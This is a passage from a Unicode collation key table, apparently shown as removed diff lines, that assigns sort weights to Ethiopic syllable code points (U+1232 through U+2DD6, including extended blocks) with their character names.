-1232  ; [.2442.0020.0002] # ETHIOPIC SYLLABLE SI
-1233  ; [.2443.0020.0002] # ETHIOPIC SYLLABLE SAA
-1234  ; [.2444.0020.0002] # ETHIOPIC SYLLABLE SEE
-1235  ; [.2445.0020.0002] # ETHIOPIC SYLLABLE SE
-1236  ; [.2446.0020.0002] # ETHIOPIC SYLLABLE SO
-1237  ; [.2447.0020.0002] # ETHIOPIC SYLLABLE SWA
-2D83  ; [.2448.0020.0002] # ETHIOPIC SYLLABLE SOA
-AB01  ; [.2449.0020.0002] # ETHIOPIC SYLLABLE TTHU
-AB02  ; [.244A.0020.0002] # ETHIOPIC SYLLABLE TTHI
-AB03  ; [.244B.0020.0002] # ETHIOPIC SYLLABLE TTHAA
-AB04  ; [.244C.0020.0002] # ETHIOPIC SYLLABLE TTHEE
-AB05  ; [.244D.0020.0002] # ETHIOPIC SYLLABLE TTHE
-AB06  ; [.244E.0020.0002] # ETHIOPIC SYLLABLE TTHO
-1238  ; [.244F.0020.0002] # ETHIOPIC SYLLABLE SHA
-1239  ; [.2450.0020.0002] # ETHIOPIC SYLLABLE SHU
-123A  ; [.2451.0020.0002] # ETHIOPIC SYLLABLE SHI
-123B  ; [.2452.0020.0002] # ETHIOPIC SYLLABLE SHAA
-123C  ; [.2453.0020.0002] # ETHIOPIC SYLLABLE SHEE
-123D  ; [.2454.0020.0002] # ETHIOPIC SYLLABLE SHE
-123E  ; [.2455.0020.0002] # ETHIOPIC SYLLABLE SHO
-123F  ; [.2456.0020.0002] # ETHIOPIC SYLLABLE SHWA
-2D84  ; [.2457.0020.0002] # ETHIOPIC SYLLABLE SHOA
-1240  ; [.2458.0020.0002] # ETHIOPIC SYLLABLE QA
-1241  ; [.2459.0020.0002] # ETHIOPIC SYLLABLE QU
-1242  ; [.245A.0020.0002] # ETHIOPIC SYLLABLE QI
-1243  ; [.245B.0020.0002] # ETHIOPIC SYLLABLE QAA
-1244  ; [.245C.0020.0002] # ETHIOPIC SYLLABLE QEE
-1245  ; [.245D.0020.0002] # ETHIOPIC SYLLABLE QE
-1246  ; [.245E.0020.0002] # ETHIOPIC SYLLABLE QO
-1247  ; [.245F.0020.0002] # ETHIOPIC SYLLABLE QOA
-1248  ; [.2460.0020.0002] # ETHIOPIC SYLLABLE QWA
-124A  ; [.2461.0020.0002] # ETHIOPIC SYLLABLE QWI
-124B  ; [.2462.0020.0002] # ETHIOPIC SYLLABLE QWAA
-124C  ; [.2463.0020.0002] # ETHIOPIC SYLLABLE QWEE
-124D  ; [.2464.0020.0002] # ETHIOPIC SYLLABLE QWE
-1250  ; [.2465.0020.0002] # ETHIOPIC SYLLABLE QHA
-1251  ; [.2466.0020.0002] # ETHIOPIC SYLLABLE QHU
-1252  ; [.2467.0020.0002] # ETHIOPIC SYLLABLE QHI
-1253  ; [.2468.0020.0002] # ETHIOPIC SYLLABLE QHAA
-1254  ; [.2469.0020.0002] # ETHIOPIC SYLLABLE QHEE
-1255  ; [.246A.0020.0002] # ETHIOPIC SYLLABLE QHE
-1256  ; [.246B.0020.0002] # ETHIOPIC SYLLABLE QHO
-1258  ; [.246C.0020.0002] # ETHIOPIC SYLLABLE QHWA
-125A  ; [.246D.0020.0002] # ETHIOPIC SYLLABLE QHWI
-125B  ; [.246E.0020.0002] # ETHIOPIC SYLLABLE QHWAA
-125C  ; [.246F.0020.0002] # ETHIOPIC SYLLABLE QHWEE
-125D  ; [.2470.0020.0002] # ETHIOPIC SYLLABLE QHWE
-1260  ; [.2471.0020.0002] # ETHIOPIC SYLLABLE BA
-1261  ; [.2472.0020.0002] # ETHIOPIC SYLLABLE BU
-1262  ; [.2473.0020.0002] # ETHIOPIC SYLLABLE BI
-1263  ; [.2474.0020.0002] # ETHIOPIC SYLLABLE BAA
-1264  ; [.2475.0020.0002] # ETHIOPIC SYLLABLE BEE
-1265  ; [.2476.0020.0002] # ETHIOPIC SYLLABLE BE
-1266  ; [.2477.0020.0002] # ETHIOPIC SYLLABLE BO
-1267  ; [.2478.0020.0002] # ETHIOPIC SYLLABLE BWA
-1384  ; [.2479.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT BWA
-1385  ; [.247A.0020.0002] # ETHIOPIC SYLLABLE BWI
-1386  ; [.247B.0020.0002] # ETHIOPIC SYLLABLE BWEE
-1387  ; [.247C.0020.0002] # ETHIOPIC SYLLABLE BWE
-2D85  ; [.247D.0020.0002] # ETHIOPIC SYLLABLE BOA
-1268  ; [.247E.0020.0002] # ETHIOPIC SYLLABLE VA
-1269  ; [.247F.0020.0002] # ETHIOPIC SYLLABLE VU
-126A  ; [.2480.0020.0002] # ETHIOPIC SYLLABLE VI
-126B  ; [.2481.0020.0002] # ETHIOPIC SYLLABLE VAA
-126C  ; [.2482.0020.0002] # ETHIOPIC SYLLABLE VEE
-126D  ; [.2483.0020.0002] # ETHIOPIC SYLLABLE VE
-126E  ; [.2484.0020.0002] # ETHIOPIC SYLLABLE VO
-126F  ; [.2485.0020.0002] # ETHIOPIC SYLLABLE VWA
-1270  ; [.2486.0020.0002] # ETHIOPIC SYLLABLE TA
-1271  ; [.2487.0020.0002] # ETHIOPIC SYLLABLE TU
-1272  ; [.2488.0020.0002] # ETHIOPIC SYLLABLE TI
-1273  ; [.2489.0020.0002] # ETHIOPIC SYLLABLE TAA
-1274  ; [.248A.0020.0002] # ETHIOPIC SYLLABLE TEE
-1275  ; [.248B.0020.0002] # ETHIOPIC SYLLABLE TE
-1276  ; [.248C.0020.0002] # ETHIOPIC SYLLABLE TO
-1277  ; [.248D.0020.0002] # ETHIOPIC SYLLABLE TWA
-2D86  ; [.248E.0020.0002] # ETHIOPIC SYLLABLE TOA
-1278  ; [.248F.0020.0002] # ETHIOPIC SYLLABLE CA
-1279  ; [.2490.0020.0002] # ETHIOPIC SYLLABLE CU
-127A  ; [.2491.0020.0002] # ETHIOPIC SYLLABLE CI
-127B  ; [.2492.0020.0002] # ETHIOPIC SYLLABLE CAA
-127C  ; [.2493.0020.0002] # ETHIOPIC SYLLABLE CEE
-127D  ; [.2494.0020.0002] # ETHIOPIC SYLLABLE CE
-127E  ; [.2495.0020.0002] # ETHIOPIC SYLLABLE CO
-127F  ; [.2496.0020.0002] # ETHIOPIC SYLLABLE CWA
-2D87  ; [.2497.0020.0002] # ETHIOPIC SYLLABLE COA
-1280  ; [.2498.0020.0002] # ETHIOPIC SYLLABLE XA
-1281  ; [.2499.0020.0002] # ETHIOPIC SYLLABLE XU
-1282  ; [.249A.0020.0002] # ETHIOPIC SYLLABLE XI
-1283  ; [.249B.0020.0002] # ETHIOPIC SYLLABLE XAA
-1284  ; [.249C.0020.0002] # ETHIOPIC SYLLABLE XEE
-1285  ; [.249D.0020.0002] # ETHIOPIC SYLLABLE XE
-1286  ; [.249E.0020.0002] # ETHIOPIC SYLLABLE XO
-1287  ; [.249F.0020.0002] # ETHIOPIC SYLLABLE XOA
-1288  ; [.24A0.0020.0002] # ETHIOPIC SYLLABLE XWA
-128A  ; [.24A1.0020.0002] # ETHIOPIC SYLLABLE XWI
-128B  ; [.24A2.0020.0002] # ETHIOPIC SYLLABLE XWAA
-128C  ; [.24A3.0020.0002] # ETHIOPIC SYLLABLE XWEE
-128D  ; [.24A4.0020.0002] # ETHIOPIC SYLLABLE XWE
-1290  ; [.24A5.0020.0002] # ETHIOPIC SYLLABLE NA
-1291  ; [.24A6.0020.0002] # ETHIOPIC SYLLABLE NU
-1292  ; [.24A7.0020.0002] # ETHIOPIC SYLLABLE NI
-1293  ; [.24A8.0020.0002] # ETHIOPIC SYLLABLE NAA
-1294  ; [.24A9.0020.0002] # ETHIOPIC SYLLABLE NEE
-1295  ; [.24AA.0020.0002] # ETHIOPIC SYLLABLE NE
-1296  ; [.24AB.0020.0002] # ETHIOPIC SYLLABLE NO
-1297  ; [.24AC.0020.0002] # ETHIOPIC SYLLABLE NWA
-2D88  ; [.24AD.0020.0002] # ETHIOPIC SYLLABLE NOA
-1298  ; [.24AE.0020.0002] # ETHIOPIC SYLLABLE NYA
-1299  ; [.24AF.0020.0002] # ETHIOPIC SYLLABLE NYU
-129A  ; [.24B0.0020.0002] # ETHIOPIC SYLLABLE NYI
-129B  ; [.24B1.0020.0002] # ETHIOPIC SYLLABLE NYAA
-129C  ; [.24B2.0020.0002] # ETHIOPIC SYLLABLE NYEE
-129D  ; [.24B3.0020.0002] # ETHIOPIC SYLLABLE NYE
-129E  ; [.24B4.0020.0002] # ETHIOPIC SYLLABLE NYO
-129F  ; [.24B5.0020.0002] # ETHIOPIC SYLLABLE NYWA
-2D89  ; [.24B6.0020.0002] # ETHIOPIC SYLLABLE NYOA
-12A0  ; [.24B7.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL A
-12A1  ; [.24B8.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL U
-12A2  ; [.24B9.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL I
-12A3  ; [.24BA.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL AA
-12A4  ; [.24BB.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL EE
-12A5  ; [.24BC.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL E
-12A6  ; [.24BD.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL O
-12A7  ; [.24BE.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL WA
-2D8A  ; [.24BF.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL OA
-12A8  ; [.24C0.0020.0002] # ETHIOPIC SYLLABLE KA
-12A9  ; [.24C1.0020.0002] # ETHIOPIC SYLLABLE KU
-12AA  ; [.24C2.0020.0002] # ETHIOPIC SYLLABLE KI
-12AB  ; [.24C3.0020.0002] # ETHIOPIC SYLLABLE KAA
-12AC  ; [.24C4.0020.0002] # ETHIOPIC SYLLABLE KEE
-12AD  ; [.24C5.0020.0002] # ETHIOPIC SYLLABLE KE
-12AE  ; [.24C6.0020.0002] # ETHIOPIC SYLLABLE KO
-12AF  ; [.24C7.0020.0002] # ETHIOPIC SYLLABLE KOA
-12B0  ; [.24C8.0020.0002] # ETHIOPIC SYLLABLE KWA
-12B2  ; [.24C9.0020.0002] # ETHIOPIC SYLLABLE KWI
-12B3  ; [.24CA.0020.0002] # ETHIOPIC SYLLABLE KWAA
-12B4  ; [.24CB.0020.0002] # ETHIOPIC SYLLABLE KWEE
-12B5  ; [.24CC.0020.0002] # ETHIOPIC SYLLABLE KWE
-12B8  ; [.24CD.0020.0002] # ETHIOPIC SYLLABLE KXA
-12B9  ; [.24CE.0020.0002] # ETHIOPIC SYLLABLE KXU
-12BA  ; [.24CF.0020.0002] # ETHIOPIC SYLLABLE KXI
-12BB  ; [.24D0.0020.0002] # ETHIOPIC SYLLABLE KXAA
-12BC  ; [.24D1.0020.0002] # ETHIOPIC SYLLABLE KXEE
-12BD  ; [.24D2.0020.0002] # ETHIOPIC SYLLABLE KXE
-12BE  ; [.24D3.0020.0002] # ETHIOPIC SYLLABLE KXO
-12C0  ; [.24D4.0020.0002] # ETHIOPIC SYLLABLE KXWA
-12C2  ; [.24D5.0020.0002] # ETHIOPIC SYLLABLE KXWI
-12C3  ; [.24D6.0020.0002] # ETHIOPIC SYLLABLE KXWAA
-12C4  ; [.24D7.0020.0002] # ETHIOPIC SYLLABLE KXWEE
-12C5  ; [.24D8.0020.0002] # ETHIOPIC SYLLABLE KXWE
-12C8  ; [.24D9.0020.0002] # ETHIOPIC SYLLABLE WA
-12C9  ; [.24DA.0020.0002] # ETHIOPIC SYLLABLE WU
-12CA  ; [.24DB.0020.0002] # ETHIOPIC SYLLABLE WI
-12CB  ; [.24DC.0020.0002] # ETHIOPIC SYLLABLE WAA
-12CC  ; [.24DD.0020.0002] # ETHIOPIC SYLLABLE WEE
-12CD  ; [.24DE.0020.0002] # ETHIOPIC SYLLABLE WE
-12CE  ; [.24DF.0020.0002] # ETHIOPIC SYLLABLE WO
-12CF  ; [.24E0.0020.0002] # ETHIOPIC SYLLABLE WOA
-12D0  ; [.24E1.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL A
-12D1  ; [.24E2.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL U
-12D2  ; [.24E3.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL I
-12D3  ; [.24E4.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL AA
-12D4  ; [.24E5.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL EE
-12D5  ; [.24E6.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL E
-12D6  ; [.24E7.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL O
-12D8  ; [.24E8.0020.0002] # ETHIOPIC SYLLABLE ZA
-12D9  ; [.24E9.0020.0002] # ETHIOPIC SYLLABLE ZU
-12DA  ; [.24EA.0020.0002] # ETHIOPIC SYLLABLE ZI
-12DB  ; [.24EB.0020.0002] # ETHIOPIC SYLLABLE ZAA
-12DC  ; [.24EC.0020.0002] # ETHIOPIC SYLLABLE ZEE
-12DD  ; [.24ED.0020.0002] # ETHIOPIC SYLLABLE ZE
-12DE  ; [.24EE.0020.0002] # ETHIOPIC SYLLABLE ZO
-12DF  ; [.24EF.0020.0002] # ETHIOPIC SYLLABLE ZWA
-2D8B  ; [.24F0.0020.0002] # ETHIOPIC SYLLABLE ZOA
-AB11  ; [.24F1.0020.0002] # ETHIOPIC SYLLABLE DZU
-AB12  ; [.24F2.0020.0002] # ETHIOPIC SYLLABLE DZI
-AB13  ; [.24F3.0020.0002] # ETHIOPIC SYLLABLE DZAA
-AB14  ; [.24F4.0020.0002] # ETHIOPIC SYLLABLE DZEE
-AB15  ; [.24F5.0020.0002] # ETHIOPIC SYLLABLE DZE
-AB16  ; [.24F6.0020.0002] # ETHIOPIC SYLLABLE DZO
-12E0  ; [.24F7.0020.0002] # ETHIOPIC SYLLABLE ZHA
-12E1  ; [.24F8.0020.0002] # ETHIOPIC SYLLABLE ZHU
-12E2  ; [.24F9.0020.0002] # ETHIOPIC SYLLABLE ZHI
-12E3  ; [.24FA.0020.0002] # ETHIOPIC SYLLABLE ZHAA
-12E4  ; [.24FB.0020.0002] # ETHIOPIC SYLLABLE ZHEE
-12E5  ; [.24FC.0020.0002] # ETHIOPIC SYLLABLE ZHE
-12E6  ; [.24FD.0020.0002] # ETHIOPIC SYLLABLE ZHO
-12E7  ; [.24FE.0020.0002] # ETHIOPIC SYLLABLE ZHWA
-12E8  ; [.24FF.0020.0002] # ETHIOPIC SYLLABLE YA
-12E9  ; [.2500.0020.0002] # ETHIOPIC SYLLABLE YU
-12EA  ; [.2501.0020.0002] # ETHIOPIC SYLLABLE YI
-12EB  ; [.2502.0020.0002] # ETHIOPIC SYLLABLE YAA
-12EC  ; [.2503.0020.0002] # ETHIOPIC SYLLABLE YEE
-12ED  ; [.2504.0020.0002] # ETHIOPIC SYLLABLE YE
-12EE  ; [.2505.0020.0002] # ETHIOPIC SYLLABLE YO
-12EF  ; [.2506.0020.0002] # ETHIOPIC SYLLABLE YOA
-12F0  ; [.2507.0020.0002] # ETHIOPIC SYLLABLE DA
-12F1  ; [.2508.0020.0002] # ETHIOPIC SYLLABLE DU
-12F2  ; [.2509.0020.0002] # ETHIOPIC SYLLABLE DI
-12F3  ; [.250A.0020.0002] # ETHIOPIC SYLLABLE DAA
-12F4  ; [.250B.0020.0002] # ETHIOPIC SYLLABLE DEE
-12F5  ; [.250C.0020.0002] # ETHIOPIC SYLLABLE DE
-12F6  ; [.250D.0020.0002] # ETHIOPIC SYLLABLE DO
-12F7  ; [.250E.0020.0002] # ETHIOPIC SYLLABLE DWA
-2D8C  ; [.250F.0020.0002] # ETHIOPIC SYLLABLE DOA
-AB09  ; [.2510.0020.0002] # ETHIOPIC SYLLABLE DDHU
-AB0A  ; [.2511.0020.0002] # ETHIOPIC SYLLABLE DDHI
-AB0B  ; [.2512.0020.0002] # ETHIOPIC SYLLABLE DDHAA
-AB0C  ; [.2513.0020.0002] # ETHIOPIC SYLLABLE DDHEE
-AB0D  ; [.2514.0020.0002] # ETHIOPIC SYLLABLE DDHE
-AB0E  ; [.2515.0020.0002] # ETHIOPIC SYLLABLE DDHO
-12F8  ; [.2516.0020.0002] # ETHIOPIC SYLLABLE DDA
-12F9  ; [.2517.0020.0002] # ETHIOPIC SYLLABLE DDU
-12FA  ; [.2518.0020.0002] # ETHIOPIC SYLLABLE DDI
-12FB  ; [.2519.0020.0002] # ETHIOPIC SYLLABLE DDAA
-12FC  ; [.251A.0020.0002] # ETHIOPIC SYLLABLE DDEE
-12FD  ; [.251B.0020.0002] # ETHIOPIC SYLLABLE DDE
-12FE  ; [.251C.0020.0002] # ETHIOPIC SYLLABLE DDO
-12FF  ; [.251D.0020.0002] # ETHIOPIC SYLLABLE DDWA
-2D8D  ; [.251E.0020.0002] # ETHIOPIC SYLLABLE DDOA
-1300  ; [.251F.0020.0002] # ETHIOPIC SYLLABLE JA
-1301  ; [.2520.0020.0002] # ETHIOPIC SYLLABLE JU
-1302  ; [.2521.0020.0002] # ETHIOPIC SYLLABLE JI
-1303  ; [.2522.0020.0002] # ETHIOPIC SYLLABLE JAA
-1304  ; [.2523.0020.0002] # ETHIOPIC SYLLABLE JEE
-1305  ; [.2524.0020.0002] # ETHIOPIC SYLLABLE JE
-1306  ; [.2525.0020.0002] # ETHIOPIC SYLLABLE JO
-1307  ; [.2526.0020.0002] # ETHIOPIC SYLLABLE JWA
-2D8E  ; [.2527.0020.0002] # ETHIOPIC SYLLABLE JOA
-1308  ; [.2528.0020.0002] # ETHIOPIC SYLLABLE GA
-1309  ; [.2529.0020.0002] # ETHIOPIC SYLLABLE GU
-130A  ; [.252A.0020.0002] # ETHIOPIC SYLLABLE GI
-130B  ; [.252B.0020.0002] # ETHIOPIC SYLLABLE GAA
-130C  ; [.252C.0020.0002] # ETHIOPIC SYLLABLE GEE
-130D  ; [.252D.0020.0002] # ETHIOPIC SYLLABLE GE
-130E  ; [.252E.0020.0002] # ETHIOPIC SYLLABLE GO
-130F  ; [.252F.0020.0002] # ETHIOPIC SYLLABLE GOA
-1310  ; [.2530.0020.0002] # ETHIOPIC SYLLABLE GWA
-1312  ; [.2531.0020.0002] # ETHIOPIC SYLLABLE GWI
-1313  ; [.2532.0020.0002] # ETHIOPIC SYLLABLE GWAA
-1314  ; [.2533.0020.0002] # ETHIOPIC SYLLABLE GWEE
-1315  ; [.2534.0020.0002] # ETHIOPIC SYLLABLE GWE
-1318  ; [.2535.0020.0002] # ETHIOPIC SYLLABLE GGA
-1319  ; [.2536.0020.0002] # ETHIOPIC SYLLABLE GGU
-131A  ; [.2537.0020.0002] # ETHIOPIC SYLLABLE GGI
-131B  ; [.2538.0020.0002] # ETHIOPIC SYLLABLE GGAA
-131C  ; [.2539.0020.0002] # ETHIOPIC SYLLABLE GGEE
-131D  ; [.253A.0020.0002] # ETHIOPIC SYLLABLE GGE
-131E  ; [.253B.0020.0002] # ETHIOPIC SYLLABLE GGO
-131F  ; [.253C.0020.0002] # ETHIOPIC SYLLABLE GGWAA
-2D93  ; [.253D.0020.0002] # ETHIOPIC SYLLABLE GGWA
-2D94  ; [.253E.0020.0002] # ETHIOPIC SYLLABLE GGWI
-2D95  ; [.253F.0020.0002] # ETHIOPIC SYLLABLE GGWEE
-2D96  ; [.2540.0020.0002] # ETHIOPIC SYLLABLE GGWE
-1320  ; [.2541.0020.0002] # ETHIOPIC SYLLABLE THA
-1321  ; [.2542.0020.0002] # ETHIOPIC SYLLABLE THU
-1322  ; [.2543.0020.0002] # ETHIOPIC SYLLABLE THI
-1323  ; [.2544.0020.0002] # ETHIOPIC SYLLABLE THAA
-1324  ; [.2545.0020.0002] # ETHIOPIC SYLLABLE THEE
-1325  ; [.2546.0020.0002] # ETHIOPIC SYLLABLE THE
-1326  ; [.2547.0020.0002] # ETHIOPIC SYLLABLE THO
-1327  ; [.2548.0020.0002] # ETHIOPIC SYLLABLE THWA
-2D8F  ; [.2549.0020.0002] # ETHIOPIC SYLLABLE THOA
-1328  ; [.254A.0020.0002] # ETHIOPIC SYLLABLE CHA
-1329  ; [.254B.0020.0002] # ETHIOPIC SYLLABLE CHU
-132A  ; [.254C.0020.0002] # ETHIOPIC SYLLABLE CHI
-132B  ; [.254D.0020.0002] # ETHIOPIC SYLLABLE CHAA
-132C  ; [.254E.0020.0002] # ETHIOPIC SYLLABLE CHEE
-132D  ; [.254F.0020.0002] # ETHIOPIC SYLLABLE CHE
-132E  ; [.2550.0020.0002] # ETHIOPIC SYLLABLE CHO
-132F  ; [.2551.0020.0002] # ETHIOPIC SYLLABLE CHWA
-2D90  ; [.2552.0020.0002] # ETHIOPIC SYLLABLE CHOA
-AB20  ; [.2553.0020.0002] # ETHIOPIC SYLLABLE CCHHA
-AB21  ; [.2554.0020.0002] # ETHIOPIC SYLLABLE CCHHU
-AB22  ; [.2555.0020.0002] # ETHIOPIC SYLLABLE CCHHI
-AB23  ; [.2556.0020.0002] # ETHIOPIC SYLLABLE CCHHAA
-AB24  ; [.2557.0020.0002] # ETHIOPIC SYLLABLE CCHHEE
-AB25  ; [.2558.0020.0002] # ETHIOPIC SYLLABLE CCHHE
-AB26  ; [.2559.0020.0002] # ETHIOPIC SYLLABLE CCHHO
-1330  ; [.255A.0020.0002] # ETHIOPIC SYLLABLE PHA
-1331  ; [.255B.0020.0002] # ETHIOPIC SYLLABLE PHU
-1332  ; [.255C.0020.0002] # ETHIOPIC SYLLABLE PHI
-1333  ; [.255D.0020.0002] # ETHIOPIC SYLLABLE PHAA
-1334  ; [.255E.0020.0002] # ETHIOPIC SYLLABLE PHEE
-1335  ; [.255F.0020.0002] # ETHIOPIC SYLLABLE PHE
-1336  ; [.2560.0020.0002] # ETHIOPIC SYLLABLE PHO
-1337  ; [.2561.0020.0002] # ETHIOPIC SYLLABLE PHWA
-2D91  ; [.2562.0020.0002] # ETHIOPIC SYLLABLE PHOA
-1338  ; [.2563.0020.0002] # ETHIOPIC SYLLABLE TSA
-1339  ; [.2564.0020.0002] # ETHIOPIC SYLLABLE TSU
-133A  ; [.2565.0020.0002] # ETHIOPIC SYLLABLE TSI
-133B  ; [.2566.0020.0002] # ETHIOPIC SYLLABLE TSAA
-133C  ; [.2567.0020.0002] # ETHIOPIC SYLLABLE TSEE
-133D  ; [.2568.0020.0002] # ETHIOPIC SYLLABLE TSE
-133E  ; [.2569.0020.0002] # ETHIOPIC SYLLABLE TSO
-133F  ; [.256A.0020.0002] # ETHIOPIC SYLLABLE TSWA
-AB28  ; [.256B.0020.0002] # ETHIOPIC SYLLABLE BBA
-AB29  ; [.256C.0020.0002] # ETHIOPIC SYLLABLE BBU
-AB2A  ; [.256D.0020.0002] # ETHIOPIC SYLLABLE BBI
-AB2B  ; [.256E.0020.0002] # ETHIOPIC SYLLABLE BBAA
-AB2C  ; [.256F.0020.0002] # ETHIOPIC SYLLABLE BBEE
-AB2D  ; [.2570.0020.0002] # ETHIOPIC SYLLABLE BBE
-AB2E  ; [.2571.0020.0002] # ETHIOPIC SYLLABLE BBO
-1340  ; [.2572.0020.0002] # ETHIOPIC SYLLABLE TZA
-1341  ; [.2573.0020.0002] # ETHIOPIC SYLLABLE TZU
-1342  ; [.2574.0020.0002] # ETHIOPIC SYLLABLE TZI
-1343  ; [.2575.0020.0002] # ETHIOPIC SYLLABLE TZAA
-1344  ; [.2576.0020.0002] # ETHIOPIC SYLLABLE TZEE
-1345  ; [.2577.0020.0002] # ETHIOPIC SYLLABLE TZE
-1346  ; [.2578.0020.0002] # ETHIOPIC SYLLABLE TZO
-1347  ; [.2579.0020.0002] # ETHIOPIC SYLLABLE TZOA
-1348  ; [.257A.0020.0002] # ETHIOPIC SYLLABLE FA
-1349  ; [.257B.0020.0002] # ETHIOPIC SYLLABLE FU
-134A  ; [.257C.0020.0002] # ETHIOPIC SYLLABLE FI
-134B  ; [.257D.0020.0002] # ETHIOPIC SYLLABLE FAA
-134C  ; [.257E.0020.0002] # ETHIOPIC SYLLABLE FEE
-134D  ; [.257F.0020.0002] # ETHIOPIC SYLLABLE FE
-134E  ; [.2580.0020.0002] # ETHIOPIC SYLLABLE FO
-134F  ; [.2581.0020.0002] # ETHIOPIC SYLLABLE FWA
-1388  ; [.2582.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT FWA
-1389  ; [.2583.0020.0002] # ETHIOPIC SYLLABLE FWI
-138A  ; [.2584.0020.0002] # ETHIOPIC SYLLABLE FWEE
-138B  ; [.2585.0020.0002] # ETHIOPIC SYLLABLE FWE
-1350  ; [.2586.0020.0002] # ETHIOPIC SYLLABLE PA
-1351  ; [.2587.0020.0002] # ETHIOPIC SYLLABLE PU
-1352  ; [.2588.0020.0002] # ETHIOPIC SYLLABLE PI
-1353  ; [.2589.0020.0002] # ETHIOPIC SYLLABLE PAA
-1354  ; [.258A.0020.0002] # ETHIOPIC SYLLABLE PEE
-1355  ; [.258B.0020.0002] # ETHIOPIC SYLLABLE PE
-1356  ; [.258C.0020.0002] # ETHIOPIC SYLLABLE PO
-1357  ; [.258D.0020.0002] # ETHIOPIC SYLLABLE PWA
-138C  ; [.258E.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT PWA
-138D  ; [.258F.0020.0002] # ETHIOPIC SYLLABLE PWI
-138E  ; [.2590.0020.0002] # ETHIOPIC SYLLABLE PWEE
-138F  ; [.2591.0020.0002] # ETHIOPIC SYLLABLE PWE
-2D92  ; [.2592.0020.0002] # ETHIOPIC SYLLABLE POA
-1358  ; [.2593.0020.0002] # ETHIOPIC SYLLABLE RYA
-1359  ; [.2594.0020.0002] # ETHIOPIC SYLLABLE MYA
-135A  ; [.2595.0020.0002] # ETHIOPIC SYLLABLE FYA
-2DA0  ; [.2596.0020.0002] # ETHIOPIC SYLLABLE SSA
-2DA1  ; [.2597.0020.0002] # ETHIOPIC SYLLABLE SSU
-2DA2  ; [.2598.0020.0002] # ETHIOPIC SYLLABLE SSI
-2DA3  ; [.2599.0020.0002] # ETHIOPIC SYLLABLE SSAA
-2DA4  ; [.259A.0020.0002] # ETHIOPIC SYLLABLE SSEE
-2DA5  ; [.259B.0020.0002] # ETHIOPIC SYLLABLE SSE
-2DA6  ; [.259C.0020.0002] # ETHIOPIC SYLLABLE SSO
-2DA8  ; [.259D.0020.0002] # ETHIOPIC SYLLABLE CCA
-2DA9  ; [.259E.0020.0002] # ETHIOPIC SYLLABLE CCU
-2DAA  ; [.259F.0020.0002] # ETHIOPIC SYLLABLE CCI
-2DAB  ; [.25A0.0020.0002] # ETHIOPIC SYLLABLE CCAA
-2DAC  ; [.25A1.0020.0002] # ETHIOPIC SYLLABLE CCEE
-2DAD  ; [.25A2.0020.0002] # ETHIOPIC SYLLABLE CCE
-2DAE  ; [.25A3.0020.0002] # ETHIOPIC SYLLABLE CCO
-2DB0  ; [.25A4.0020.0002] # ETHIOPIC SYLLABLE ZZA
-2DB1  ; [.25A5.0020.0002] # ETHIOPIC SYLLABLE ZZU
-2DB2  ; [.25A6.0020.0002] # ETHIOPIC SYLLABLE ZZI
-2DB3  ; [.25A7.0020.0002] # ETHIOPIC SYLLABLE ZZAA
-2DB4  ; [.25A8.0020.0002] # ETHIOPIC SYLLABLE ZZEE
-2DB5  ; [.25A9.0020.0002] # ETHIOPIC SYLLABLE ZZE
-2DB6  ; [.25AA.0020.0002] # ETHIOPIC SYLLABLE ZZO
-2DB8  ; [.25AB.0020.0002] # ETHIOPIC SYLLABLE CCHA
-2DB9  ; [.25AC.0020.0002] # ETHIOPIC SYLLABLE CCHU
-2DBA  ; [.25AD.0020.0002] # ETHIOPIC SYLLABLE CCHI
-2DBB  ; [.25AE.0020.0002] # ETHIOPIC SYLLABLE CCHAA
-2DBC  ; [.25AF.0020.0002] # ETHIOPIC SYLLABLE CCHEE
-2DBD  ; [.25B0.0020.0002] # ETHIOPIC SYLLABLE CCHE
-2DBE  ; [.25B1.0020.0002] # ETHIOPIC SYLLABLE CCHO
-2DC0  ; [.25B2.0020.0002] # ETHIOPIC SYLLABLE QYA
-2DC1  ; [.25B3.0020.0002] # ETHIOPIC SYLLABLE QYU
-2DC2  ; [.25B4.0020.0002] # ETHIOPIC SYLLABLE QYI
-2DC3  ; [.25B5.0020.0002] # ETHIOPIC SYLLABLE QYAA
-2DC4  ; [.25B6.0020.0002] # ETHIOPIC SYLLABLE QYEE
-2DC5  ; [.25B7.0020.0002] # ETHIOPIC SYLLABLE QYE
-2DC6  ; [.25B8.0020.0002] # ETHIOPIC SYLLABLE QYO
-2DC8  ; [.25B9.0020.0002] # ETHIOPIC SYLLABLE KYA
-2DC9  ; [.25BA.0020.0002] # ETHIOPIC SYLLABLE KYU
-2DCA  ; [.25BB.0020.0002] # ETHIOPIC SYLLABLE KYI
-2DCB  ; [.25BC.0020.0002] # ETHIOPIC SYLLABLE KYAA
-2DCC  ; [.25BD.0020.0002] # ETHIOPIC SYLLABLE KYEE
-2DCD  ; [.25BE.0020.0002] # ETHIOPIC SYLLABLE KYE
-2DCE  ; [.25BF.0020.0002] # ETHIOPIC SYLLABLE KYO
-2DD0  ; [.25C0.0020.0002] # ETHIOPIC SYLLABLE XYA
-2DD1  ; [.25C1.0020.0002] # ETHIOPIC SYLLABLE XYU
-2DD2  ; [.25C2.0020.0002] # ETHIOPIC SYLLABLE XYI
-2DD3  ; [.25C3.0020.0002] # ETHIOPIC SYLLABLE XYAA
-2DD4  ; [.25C4.0020.0002] # ETHIOPIC SYLLABLE XYEE
-2DD5  ; [.25C5.0020.0002] # ETHIOPIC SYLLABLE XYE
-2DD6  ; [.25C6.0020.0002] # ETHIOPIC SYLLABLE XYO
